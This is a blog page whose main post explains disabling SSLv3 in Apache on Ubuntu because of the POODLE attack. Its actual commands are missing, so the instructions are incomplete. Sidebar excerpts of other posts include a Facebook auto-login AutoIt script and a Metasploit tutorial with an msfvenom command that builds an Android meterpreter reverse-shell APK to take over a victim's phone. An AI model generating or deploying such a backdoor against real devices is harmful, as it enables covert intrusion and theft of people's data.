Skip to main content

How to disable SSLv3 in ubuntu?


Why disable SSL 3.0?

SSLv3 is not sufficiently secure. The replacement versions, in particular, Transport Layer Security(TLS) 1.2, are way more secure and capable protocols. 


  • Poodle attack and End of SSLv3 

In late September, a team at Google discovered a serious vulnerability(POODLE) in SSLv3 that can be exploited to steal confidential information, e.g things like cookies and passwords, enabling the latter to access a user's private account on a social website.
You can learn more about SSL on our Android app SSLearn.



Steps:

Firstly, let's start with an Update:



After the update, install apache:

Note: If you already have apache installed, you may skip this step.


After installing apache, type the following command to configure and disable SSLv3:

Then simply press the arrow down on your keyboard and search for SSLprotocol.
Add '-SSLv2 -SSLv3' at the end.

Then 3 lines upwards, you should be able to see #SSLHonorCipherOrderOn. You'll have to remove the '#' sign from it.

After you've the necessary modifications, hit Ctrl + O to save it.
Then hit Enter and save it under the same name.






How to check if SSLv3 is disabled?

To check if you've disabled SSL 3.0 successfully, you have to type the following command:

If you see Cipher's value 0000, then you have successfully disabled SSLv3,

You can even download our app SSLearn to learn more on SSL.

Comments

Popular posts from this blog

Learn how to make an auto login bot with Autoit

Start by creating a new directory and make an autoit script. Edit the script and include IE.au3:
#include 
Suppose we're writing a script which will allow a anyone to sign in his facebook on a scheduled time automatically.
It's simple, don't panic!
You need to call a function with any name you want. Let's take loginfb()!
call ("loginfb") So, we only have to write the function loginfb now!
Func loginfb()
Global $oIE = _IECreate ("https://www.facebook.com/")

Local $username = _IEGetObjByName ($oIE, "email")
Local $password = _IEgetObjByName ($oIE, "pass")
Local $button = _IEGetObjById ($oIE, "loginbutton")

_IEFormElementSetValue ($username, "") // your email here!
_IEFormElementSetValue ($password, "") //your fb password here!
Send("{Enter}")
EndFunc
$username and $password are variables. "email" and "pass" are the names given to the textarea where you are to write your emai…

[Android + msf]How to use Metasploit Framework on an Android Device?

Metasploit Framework(msf)
Requirements:
Linux-based OSYou'll need to have msfconsole installed on your machine
You'll need to have msfvenom correctly installed on the machine. This will be used to generate the backdoor. Install apktool as well.Note: This tutorial is meant for educational purposes only. Please don't misguide the purpose of this tutorial, you'll be responsible for any act of Hacking or theft.
Steps1) First of all open up your terminal. (Ctrl + Alt + T)
$ sudo apt-get update Update your repositories before starting.

2) Once updated, we can start. Simply follow the steps below to get started:
$ sudo msfvenom -p android/meterpreter/reverse_tcp LHOST='xxx.xxx.x.x' LPORT='xxxx' R > testfile.apk Replace "testfile" with any name you want. This will be the Main Activity, which when tapped on your android device will activate meterpreter on your terminal and let you gain full access to the victims android phone.

You can check out the archit…

[Python]Publish your python project to PyPI

The Python Package Index, also known as PyPI, is a large repository of python packages. Millions of developers all around the world contribute to Python daily by creating python scripts and uploading to PyPI.

In this blog post, I am going to write a simple python script that, on running, will print Hello World on the terminal. Then, going to upload this script to PyPI so that it can be installed on any platform easily using pip or pip3.

Requirements:
1. Github account
2. Basic knowledge of python
3. setuptools - (pip3 install setuptools)
4. wheel - (pip3 install wheel)

By the end of this blog post, you should be able to print hello world using a single command:


Let's get started! The first thing to do is find a unique name for your project. The name that I will call the Hello World script will be print_hello_world. At the time that I am writing this post, there is not package called print_hello_world on PyPI. Logically, after doing this tutorial, there might be one.

1. Create app f…